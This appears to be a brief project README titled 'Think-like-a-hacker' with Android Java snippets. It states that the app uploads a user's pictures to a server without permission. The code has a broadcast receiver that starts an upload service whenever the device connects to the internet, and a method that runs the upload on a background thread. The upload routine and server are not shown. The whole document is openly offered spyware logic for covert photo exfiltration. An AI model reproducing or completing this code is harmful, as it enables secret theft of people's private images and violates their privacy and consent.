Think-like-a-hacker

Upload picture without permission of user to our server.

when user connects to the internet it starts uploading pictures to the server.
Service invoke when broadcast receiver receive the internet connect event this starts uploading.

Invoke Upload service when network connect

        ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        assert cm != null;
        NetworkInfo info = cm.getActiveNetworkInfo();
        if (info != null) {
            if (info.isConnected()) {
                Intent intentnew = new Intent(context, UploadService.class);
                context.startService(intentnew);
            }
        }

Starts Uploading

    void startUploading(final File file) {
        Runnable runnable = new Runnable() {
            @RequiresApi(api = Build.VERSION_CODES.KITKAT)
            @Override
            public void run() {
                uploadFile(file);
            }
        };
        new Thread(runnable).start();
    }